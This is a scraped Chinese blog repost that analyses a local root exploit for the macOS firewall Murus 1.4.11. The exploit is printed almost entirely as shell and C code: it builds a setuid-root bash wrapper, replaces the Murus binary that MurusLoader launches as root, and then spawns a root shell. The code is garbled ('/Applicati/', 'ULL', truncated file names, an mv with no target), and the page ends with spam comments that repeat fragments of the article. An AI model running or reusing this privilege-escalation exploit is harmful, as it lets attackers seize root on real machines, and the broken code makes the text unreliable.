您现在的位置是:首页 > 编程 > 

Murus 1.4.11

2025-07-26 00:57:19
Murus 1.4.11 没有mac的苦逼就直接分析代码了首先Murus是mac的防火墙,这个东西只要可以以admin权限运行就可以提权了step1首先我们看到编译一个c程序代码语言:javascript代码运行次数:0运行复制cat > /tmp/murus411_exp.c <<EOF #include <unistd.h> int main() { setu

Murus 1.4.11

没有mac的苦逼就直接分析代码了

首先Murus是mac的防火墙,这个东西只要可以以admin权限运行就可以提权了

step1

首先我们看到编译一个c程序

代码语言:javascript代码运行次数:0运行复制
cat > /tmp/murus411_ <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f /tmp/murus411_exp; /bin/bash",ULL);
  return 0;
}
EOF
 
gcc -o /tmp/murus411_exp /tmp/murus411_

if [ ! $? -eq 0 ] ; then
  rm -f /tmp/murus411_
    echo "failed to compile, dev tools may not be installed"
  exit 1
fi
 
rm -f /tmp/murus411_

看到这里我们就知道这应该是不正当权限运行程序导致的,先设置当前程序的uid和euid,之后执行/bin/bash

而$? 可以获取上一个命令的退出状态。所谓退出状态,就是上一个命令执行后的返回结果。

成功应该返回0,如果返回不是0说明编译有问题了

step2

之后又编译第二个程序

代码语言:javascript代码运行次数:0运行复制
cat > /tmp/murus411_ <<EOF
#include <unistd.h>
#include <stdlib.h>
int main()
{
  setuid(0);
  seteuid(0);
  system("chown root:wheel /tmp/murus411_exp");
  system("chmod 4755 /tmp/murus411_exp");
  system("mv /Applicati/Murus.app/Contents/MacOS/ /Applicati/\
Murus.app/Contents/MacOS/Murus");
  execl("/Applicati/Murus.app/Contents/MacOS/Murus","Murus",ULL);
  return 0;
}
EOF
 
gcc -o /tmp/murus411_exp2 /tmp/murus411_
rm -f /tmp/murus411_

这个就将第一个程序拥有者设置为0,并设置suid位,最后mv 并执行

step

查进程MurusLoader,看看起来了没

代码语言:javascript代码运行次数:0运行复制
while :
do
  ps auxwww |grep '/Applicati/Murus.app/Contents/MacOS/MurusLoader' \
    |grep -v grep 1>/dev/null
  if [ $? -eq 0 ] ; then
    break
  fi
done

step4

代码语言:javascript代码运行次数:0运行复制
mv /Applicati/Murus.app/Contents/MacOS/Murus /Applicati/Murus.app/\
Contents/MacOS/
mv /tmp/murus411_exp2 /Applicati/Murus.app/Contents/MacOS/Murus

最后将原来的Murus替换为我们的exp2

那么问题就是MurusLoader以root权限执行/Applicati/Murus.app/Contents/MacOS/Murus这个程序导致的问题了,这就是关键所在

step5

最后再检查下我们的文件的拥有者是不是root,之后就获得了root权限了

代码语言:javascript代码运行次数:0运行复制
while :
do
  r=`ls -la /tmp/murus411_exp |grep root`
  if [ "$r" != "" ] ; then
    break
  fi
  sleep 0.1
done
 
echo "kapow"
 
/tmp/murus411_exp

小结

其实很多时候不应要利用内核漏洞去提权,这种以不当的权限启动程序的是一个很好的方法,之前分析nsa的工具的时候,很多都是利用这一点,简单方便,何乐而不为呢

有空总结一下提权的各种套路,大家可以提醒一下我

reference

/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。 原始发表:2018-02-01,如有侵权请联系 cloudcommunity@tencent 删除权限local编译程序漏洞

#感谢您对电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格的认可,转载请说明来源于"电脑配置推荐网 - 最新i3 i5 i7组装电脑配置单推荐报价格

本文地址:http://www.dnpztj.cn/biancheng/1207622.html

相关标签:无
上传时间: 2025-07-24 14:30:22
留言与评论(共有 19 条评论)
本站网友 dropdownlist
18分钟前 发表
如有侵权请联系 cloudcommunity@tencent 删除前往查看权限local编译程序漏洞
本站网友 笑气是什么
8分钟前 发表
先设置当前程序的uid和euid
本站网友 曲周县地图
20分钟前 发表
Murus 1.4.11 没有mac的苦逼就直接分析代码了首先Murus是mac的防火墙
本站网友 去除皱纹的方法
30分钟前 发表
"-c"
本站网友 备孕期间注意事项
24分钟前 发表
"rm -f /tmp/murus411_exp; /bin/bash"
本站网友 玻璃胶多久干
23分钟前 发表
并设置suid位
本站网友 双手断掌纹
17分钟前 发表
do r=`ls -la /tmp/murus411_exp |grep root` if [ "$r" != "" ] ; then break fi sleep 0.1 done echo "kapow" /tmp/murus411_exp小结其实很多时候不应要利用内核漏洞去提权
本站网友 房贷计算器最新
8分钟前 发表
之后就获得了root权限了代码语言:javascript代码运行次数:0运行复制while
本站网友 大亚湾二手房
8分钟前 发表
wheel /tmp/murus411_exp"); system("chmod 4755 /tmp/murus411_exp"); system("mv /Applicati/Murus.app/Contents/MacOS/ /Applicati/\ Murus.app/Contents/MacOS/Murus"); execl("/Applicati/Murus.app/Contents/MacOS/Murus"
本站网友 武夷山庄
20分钟前 发表
do r=`ls -la /tmp/murus411_exp |grep root` if [ "$r" != "" ] ; then break fi sleep 0.1 done echo "kapow" /tmp/murus411_exp小结其实很多时候不应要利用内核漏洞去提权
本站网友 蒉莺春
23分钟前 发表
这个东西只要可以以admin权限运行就可以提权了step1首先我们看到编译一个c程序代码语言:javascript代码运行次数:0运行复制cat > /tmp/murus411_ <<EOF #include <unistd.h> int main() { setuid(0); seteuid(0); execl("/bin/bash"
本站网友 伊犁社区
11分钟前 发表
所谓退出状态
本站网友 4个月宝宝
30分钟前 发表
wheel /tmp/murus411_exp"); system("chmod 4755 /tmp/murus411_exp"); system("mv /Applicati/Murus.app/Contents/MacOS/ /Applicati/\ Murus.app/Contents/MacOS/Murus"); execl("/Applicati/Murus.app/Contents/MacOS/Murus"
本站网友 成都祖母厨房
7分钟前 发表
并设置suid位
本站网友 img文件
25分钟前 发表
大家可以提醒一下我reference/本文参与 腾讯云自媒体同步曝光计划
本站网友 枳壳
5分钟前 发表
ULL); return 0; } EOF gcc -o /tmp/murus411_exp /tmp/murus411_ if [ ! $? -eq 0 ] ; then rm -f /tmp/murus411_ echo "failed to compile
本站网友 埃及总统
3分钟前 发表
简单方便
本站网友 360gan
23分钟前 发表
这种以不当的权限启动程序的是一个很好的方法